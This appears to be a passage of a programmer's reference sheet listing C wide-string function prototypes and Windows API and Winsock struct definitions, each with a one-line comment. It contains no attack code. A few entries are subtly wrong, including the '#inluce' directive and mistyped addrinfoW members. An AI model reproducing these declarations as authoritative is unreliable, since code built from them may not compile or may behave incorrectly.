int wcsncmp(
const wchar_t *str1,
const wchar_t *str2,
size_t count
); // Compares up to count characters of two wide strings lexicographically.
[_wcsicmp]
int _wcsicmp(
const wchar_t *str1,
const wchar_t *str2
); // Compares two wide strings lexicographically, ignoring case.
[_wcsnicmp]
int _wcsnicmp(
const wchar_t *str1,
const wchar_t *str2,
size_t count
); // Compares up to count characters of two wide strings lexicographically, ignoring case.
[wcschr]
wchar_t *wcschr(
const wchar_t *str,
wchar_t c
); // Finds the first occurrence of the wide character c in the wide string str.
[wcsrchr]
wchar_t *wcsrchr(
const wchar_t *str,
wchar_t c
); // Finds the last occurrence of the wide character c in the wide string str.
[wcspbrk]
wchar_t *wcspbrk(
const wchar_t *str1,
const wchar_t *str2
); // Finds the first occurrence in the wide string str1 of any character from the wide string str2.
[wcsstr]
wchar_t *wcsstr(
const wchar_t *str1,
const wchar_t *str2
); // Finds the first occurrence of the wide string str2 in the wide string str1.
[wcstok]
wchar_t *wcstok(
wchar_t *str,
const wchar_t *delimiters
); // Splits the wide string str into tokens based on the delimiters.
[towupper]
wint_t towupper(
wint_t c
); // Converts a wide character to uppercase.
[towlower]
wint_t towlower(
wint_t c
); // Converts a wide character to lowercase.
[iswalpha]
int iswalpha(
wint_t c
); // Checks if the wide character is an alphabetic character.
[iswdigit]
int iswdigit(
wint_t c
); // Checks if the wide character is a decimal digit.
[iswalnum]
int iswalnum(
wint_t c
); // Checks if the wide character is an alphanumeric character.
[iswspace]
int iswspace(
wint_t c
); // Checks if the wide character is a whitespace character.
[iswxdigit]
int iswxdigit(
wint_t c
); // Checks if the wide character is a valid hexadecimal digit.
#include <sysinfoapi.h>
// Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size.
typedef struct _SYSTEM_INFO {
union {
DWORD dwOemId;
struct {
WORD wProcessorArchitecture;
WORD wReserved;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
DWORD dwPageSize;
LPVOID lpMinimumApplicationAddress;
LPVOID lpMaximumApplicationAddress;
DWORD_PTR dwActiveProcessorMask;
DWORD dwNumberOfProcessors;
DWORD dwProcessorType;
DWORD dwAllocationGranularity;
WORD wProcessorLevel;
WORD wProcessorRevision;
} SYSTEM_INFO;
#include <minwinbase.h>
// Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time.
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;
#include <processthreadsapi.h>
// Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time.
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
#include <processthreadsapi.h>
// Contains information about a newly created process and its primary thread.
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;
#include <tlhelp32.h>
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
CHAR szExeFile[MAX_PATH];
} PROCESSENTRY32;
// Determines whether the handle can be inherited by child processes and specifies a security descriptor for a new object.
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
#inluce <minwinbase.h>
// Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations.
typedef struct _OVERLAPPED {
ULONG_PTR Internal;
ULONG_PTR InternalHigh;
union {
struct {
DWORD Offset;
DWORD OffsetHigh;
} DUMMYSTRUCTNAME;
PVOID Pointer;
} DUMMYUNIONNAME;
HANDLE hEvent;
} OVERLAPPED, *LPOVERLAPPED;
#include <guiddef.h>
// Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items.
typedef struct _GUID {
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
unsigned char Data4[8];
} GUID;
#include <winnt.h>
// Contains information about a range of pages in the virtual address space of a process.
typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
#include <minwinbase.h>
// Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond.
typedef struct _SYSTEMTIME {
WORD wYear;
WORD wMonth;
WORD wDayOfWeek;
WORD wDay;
WORD wHour;
WORD wMinute;
WORD wSecond;
WORD wMilliseconds;
} SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;
// Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner.
typedef struct _COORD {
SHORT X;
SHORT Y;
} COORD, *PCOORD;
// Defines the coordinates of the upper left and lower right corners of a rectangle.
typedef struct _SMALL_RECT {
SHORT Left;
SHORT Top;
SHORT Right;
SHORT Bottom;
} SMALL_RECT;
// Contains information about a console screen buffer.
typedef struct _CONSOLE_SCREEN_BUFFER_INFO {
COORD dwSize;
COORD dwCursorPosition;
WORD wAttributes;
SMALL_RECT srWindow;
COORD dwMaximumWindowSize;
} CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO;
#include <winsock.h>
// Contains information about the Windows Sockets implementation.
typedef struct WSAData {
WORD wVersion;
WORD wHighVersion;
unsigned short iMaxSockets;
unsigned short iMaxUdpDg;
char FAR *lpVendorInfo;
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];
} WSADATA, *LPWSADATA;
[CRITICAL_SECTION
](struct RTL_CRITICAL_SECTION (nirsoft.net))
// Represents a critical section object, which is used to provide synchronization access to a shared resource.
typedef struct _RTL_CRITICAL_SECTION {
PRTL_CRITICAL_SECTION_DEBUG DebugInfo;
LONG LockCount;
LONG RecursionCount;
HANDLE OwningThread;
HANDLE LockSemaphore;
ULONG_PTR SpinCount;
} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;
#include <winsock2.h>
// Contains Windows Sockets protocol information.
typedef struct _WSAPROTOCOL_INFOA {
DWORD dwServiceFlags1;
DWORD dwServiceFlags2;
DWORD dwServiceFlags3;
DWORD dwServiceFlags4;
DWORD dwProviderFlags;
GUID ProviderId;
DWORD dwCatalogEntryId;
WSAPROTOCOLCHAIN ProtocolChain;
int iVersion;
int iAddressFamily;
int iMaxSockAddr;
int iMinSockAddr;
int iSocketType;
int iProtocol;
int iProtocolMaxOffset;
int iNetworkByteOrder;
int iSecurityScheme;
DWORD dwMessageSize;
DWORD dwProviderReserved;
CHAR szProtocol[WSAPROTOCOL_LEN+1];
} WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;
#include <ws2def.h>
// Contains message information for use with the `sendmsg` and `recvmsg` functions.
typedef struct _WSAMSG {
LPSOCKADDR name;
INT namelen;
LPWSABUF lpBuffers;
ULONG dwBufferCount;
WSABUF Control;
ULONG dwFlags;
} WSAMSG, *PWSAMSG, *LPWSAMSG;
// A generic socket address structure used for compatibility with various address families.
typedef struct sockaddr {
u_short sa_family;
char sa_data[14];
} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;
// Represents an IPv4 socket address, containing the IPv4 address, port number, and address family.
typedef struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;
// Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed.
typedef struct linger {
u_short l_onoff;
u_short l_linger;
} LINGER, *PLINGER, *LPLINGER;
// Represents a time interval, used with the `select` function to specify a timeout period.
typedef struct timeval {
long tv_sec;
long tv_usec;
} TIMEVAL, *PTIMEVAL, *LPTIMEVAL;
// Represents a set of sockets used with the `select` function to check for socket events.
typedef struct fd_set {
u_int fd_count;
SOCKET fd_array[FD_SETSIZE];
} fd_set, *Pfd_set, *LPfd_set;
// Represents an IPv4 address.
typedef struct in_addr {
union {
struct {
u_char s_b1, s_b2, s_b3, s_b4;
} S_un_b;
struct {
u_short s_w1, s_w2;
} S_un_w;
u_long S_addr;
} S_un;
} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;
#include <ws2def.h>
// Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses.
typedef struct addrinfoW {
int ai_flags;
int ai_family;
int ai_socktype;
int ai_protocol;
size_t ai_addrlen;
PWSTR *ai_canonname;
struct sockaddr *ai_addr;
struct addrinfo *ai_next;
} ADDRINFOW, *PADDRINFOW;
#include <ws2def.h>
// Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations.
typedef struct _WSABUF {
ULONG len;
__field_bcount(len) CHAR FAR *buf;
} WSABUF, FAR * LPWSABUF;
#include <ws2ipdef.h>
// Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family.
typedef struct sockaddr_in6 {
short sin6_family;
u_short sin6_port;
u_long sin6_flowinfo;
struct in6_addr sin6_addr;
u_long sin6_scope_id;
} SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6;
#include <in6addr.h>
// Represents an IPv6 address.
typedef struct in6_addr {
union {
u_char Byte[16];
u_short Word[8];
} u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;